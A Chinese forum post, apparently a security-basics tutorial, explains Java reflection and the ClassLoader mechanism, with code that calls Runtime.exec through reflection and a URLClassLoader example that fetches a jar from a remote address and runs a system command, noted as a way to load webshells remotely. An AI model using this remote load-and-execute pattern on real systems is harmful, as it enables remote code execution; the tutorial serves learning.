Java 安全底子之 Java 反射机制和 ClassLoader 类加载机制

打印 上一主题 下一主题

主题 840|帖子 840|积分 2520

目录

Java 反射机制

Java 反射(Reflection)是 Java 非常紧张的动态特性。在运行状态中,通过 Java 的反射机制,我们可以或许判断一个对象所属的类。了解任意一个类的全部属性和方法。可以或许调用任意一个对象的任意方法和属性。
Java 反射机制可以无视类方法、变量去访问权限修饰符,而且可以调用任何类的任意方法、访问并修改成员变量值。
对于一半的程序员来说反射的意义不大,对于框架开发人员来说,反射作用就非常大了,它是各种容器实现的核心。
获取 Class 对象
Java 反射利用的是 java.lang.Class 对象,以是我们需要先想办法获取到 Class 对象。
1、类字面常量来获取
  1. Class<?> name = MyClass.class;
复制代码
2、通过对象获取 getClass() 方法
  1. MyClass obj = new MyClass();
  2. Class<?> name = obj.getClass();
复制代码
3、通过全限定名获取  Class.forName() 方法
  1. Class<?> name = Class.forName("java.lang.Runtime");
复制代码
4、使用 getSystemClassLoader().loadClass() 方法
  1. Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
复制代码
loadClass() 与 forName() 的区别:
forName() 的静态方法 JVM 会装载类,而且执行 static() 中的代码。而getSystemClassLoader().loadClass() 不会执行 static() 中的代码。
获取类成员变量
1、getDeclaredFields 方法
得到类的成员变量数组,包括 public、private 和 proteced,但是不包括父类的申明字段。
  1. Field[] fields = classname.getDeclaredFields();
复制代码
2、getDeclaredField 方法
该方法与 getDeclaredFields 的区别是只能得到类的单个成员变量。
  1. Field field  = classname.getDeclaredField("变量名");
复制代码
3、getFields 方法
getFields 可以或许得到某个类的全部的 public 字段,包括父类中的字段。
  1. Field[] fields = classname.getFields();
复制代码
4、getField 方法
与 getFields 类似,getField 方法可以或许得到某个类特定的 public 字段,包括父类中的字段。
  1. Field field = classname.getField(("变量名");
复制代码
获取类方法
1、getDeclaredMethods 方法
返回类或接口声明的全部方法,包括 public、protected、private 和默认方法,但不包括继承的方法。
  1. Method[] methods = classname.getDeclaredMethods()
复制代码
2、getDeclaredMethod 方法
也只能返回一个特定的方法,该方法的第一个参数为方法名,第二个参数名是方法参数。
  1. Method methods = classname.getDeclaredMethods("方法名")
复制代码
3、getMethods 方法
返回某个类的全部 public 方法,包括其继承类的 public 方法。
  1. Method[] methods = classname.getMethods();
复制代码
4、getMethod 方法
只能返回一个特定的方法,该方法的第一个参数为方法名称,后面的参数为方法的参数对应 Class 的对象。
  1. Method method = clazz.getMethod("方法名");
复制代码
反射 java.lang.Runtime

java.lang.Runtime 有一个 exec 方法,以是可以反射调用 Runtime 类来执行本地体系命令。
不使用反射执行本地命令:
  1. import java.io.IOException;
  2. public class Exec {
  3.     public static void main(String[] args) throws IOException {
  4.         Runtime.getRuntime().exec("calc");
  5.     }
  6. }
复制代码
反射 Runtime 执行本地命令:
  1. import java.lang.reflect.InvocationTargetException;
  2. import java.lang.reflect.Method;
  3. public class ReflectionExec {
  4.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
  5.             InvocationTargetException, IllegalAccessException {
  6.         // 获取 Runtime 类
  7.         Class<?> clazz = Class.forName("java.lang.Runtime");
  8.         // 获取 Runtime 类的 getRuntime() 方法
  9.         Method getRuntimeMethod = clazz.getMethod("getRuntime");
  10.         // 调用 getRuntime() 方法,获取 Runtime 对象
  11.         Object runtimeObject = getRuntimeMethod.invoke(null);
  12.         // 获取 exec(String command) 方法
  13.         Method execMethod = clazz.getMethod("exec", String.class);
  14.         // 执行系统命令
  15.         execMethod.invoke(runtimeObject, "clac");
  16.     }
  17. }
复制代码
间接性的调用 Runtime 的 exec 方法执行本地体系命令。

不安全的反射大概会带来致命的漏洞。
ClassLoader 类加载机制

Java 是编译型语言,编写的 java 文件需要编译成后 class 文件后才可以或许被 JVM 运行。类加载器 ClassLoader 负责加载类文件,生成对应的 Class 对象。
JVM 提供的三种类加载器

  • Bootstrap ClassLoader(启动类加载器)
负责加载 Java 的核心类,好比 java.lang.Object 等。它是由 C++ 实现的,而且不是 Java 类。

  • Extension ClassLoader(扩展类加载器)
负责加载 Java 的扩展类,位于 /lib/ext 目录下的JAR包或类。

  • System ClassLoader(体系类加载器)
也称为应用类加载器,负责加载应用程序的类,通常从classpath中加载类。
值得留意的是,Bootstrap ClassLoader 它是 JVM 自身的一部分,并不是  ClassLoader 的子类,无法直接获取对其的引用,以是尝试获取被 Bootstrap ClassLoader 类加载器所加载的类的 ClassLoader 时候都会返回 null。
除了这三种,还可以自定义类加载器。
ClassLoader 类中和加载类相关的方法

  • getParent() 返回该类加载器的父类加载器
  • loadClass() 加载指定的类
  • findClass() 查找指定的类
  • findLoadedClass() 查找已经被加载过的类
  • defineClass() 定义一个类
  • resolveClass() 链接指定的Java类
ClassLoader类加载流程

  • 检查是否已经加载过类
在加载类之前,会首先使用 findLoadedClass() 方法判断该类是否已经被加载,如果已经加载过,则直接返回对应的 Class 对象。

  • 委托给父类加载器
如果未被加载,则优先使用加载器的父类加载器进行加载,如果加载成功,则返回对应的 Class 对象。

  • 自行尝试加载类
如果父类加载器无法加载该类,大概父类加载器为空,则会调用自身的 findClass() 方法尝试自行加载该类。

  • 链接和初始化
在成功加载类之后,类加载器会对其进行链接和初始化利用。

  • 返回 Class 对象
返回一个被 JVM 加载后的 java.lang.Class 类对象。
ClassLoader 的 loadClass 方法核心逻辑代码:
  1. protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
  2.     synchronized (getClassLoadingLock(name)) {
  3.         Class<?> c = findLoadedClass(name);
  4.         if (c == null) {
  5.             long t0 = System.nanoTime();
  6.             try {
  7.                 if (parent != null) {
  8.                     c = parent.loadClass(name, false);
  9.                 } else {
  10.                     c = findBootstrapClassOrNull(name);
  11.                 }
  12.             } catch (ClassNotFoundException e) {
  13.             }
  14.             if (c == null) {
  15.                 c = findClass(name);
  16.             }
  17.         }
  18.         if (resolve) {
  19.             resolveClass(c);
  20.         }
  21.         return c;
  22.     }
  23. }
复制代码
自定义的类加载器
通过重写 findClass() 方法,利用 defineClass() 方法来将字节码转换成 java.lang.class 类对象,就可以实现自定义的类加载器。
URLClassLoader

URLClassLoader 类是 ClassLoader 的一个实现,拥有从远程服务器上加载类的能力。
通过 URLClassLoader 可以实现远程的类方法调用,可以实现对一些 WebShell 的远程加载。
例如:通过 URLClassLoader 来加载一个远程的 jar 包执行本地命令
  1. import java.io.ByteArrayOutputStream;
  2. import java.io.IOException;
  3. import java.io.InputStream;
  4. import java.lang.reflect.InvocationTargetException;
  5. import java.net.URL;
  6. import java.net.URLClassLoader;
  7. public class TestURLClassLoader {
  8.     public static void main(String[] args) throws IOException,
  9.             ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
  10.                         IllegalAccessException {
  11.         // 定义远程加载的jar的URL路径
  12.         URL url = new URL("http://192.168.88.150/CMD.jar");
  13.         // 创建URLClassLoader对象,并加载远程jar包
  14.         URLClassLoader ucl = new URLClassLoader(new URL[]{url});
  15.         // 通过URLClassLoader加载远程jar包中的CMD类
  16.         Class<?> cmdClass = ucl.loadClass("CMD");
  17.         String cmd = "ls";
  18.         // 调用CMD类中的exec方法
  19.         Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
  20.         // 获取命令执行结果的输入流
  21.         InputStream in = process.getInputStream();
  22.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  23.         byte[] b = new byte[1024];
  24.         int a = -1;
  25.         // 读取命令执行结果
  26.         while ((a = in.read(b)) != -1) {
  27.             baos.write(b, 0, a);
  28.         }
  29.         // 输出命令执行结果
  30.         System.out.println(baos.toString());
  31.     }
  32. }
复制代码
远程的 CMD.jar 中就一个 CMD.class 文件,对应的 CMD.java 如下:
  1. import java.io.IOException;
  2. public class CMD {
  3.     public static Process exec(String cmd) throws IOException {
  4.         return Runtime.getRuntime().exec(cmd);
  5.     }
  6. }
复制代码
成功调用 CMD 类中的 exec 方法,执行了 ls 命令。

loadClass()方法与 Class.forName 的区别?

loadClass() 方法和 Class.forName() 方法都可以用于在运行时加载类。
重要区别:

  • loadClass() 方法是 ClassLoader 类的一个方法,通过指定的类加载器加载类。它在加载类时不会主动执行类的静态初始化代码。
  • Class.forName() 方法是 java.lang.Class 类的一个静态方法,它在加载类时会主动执行类的静态初始化代码。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

徐锦洪

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表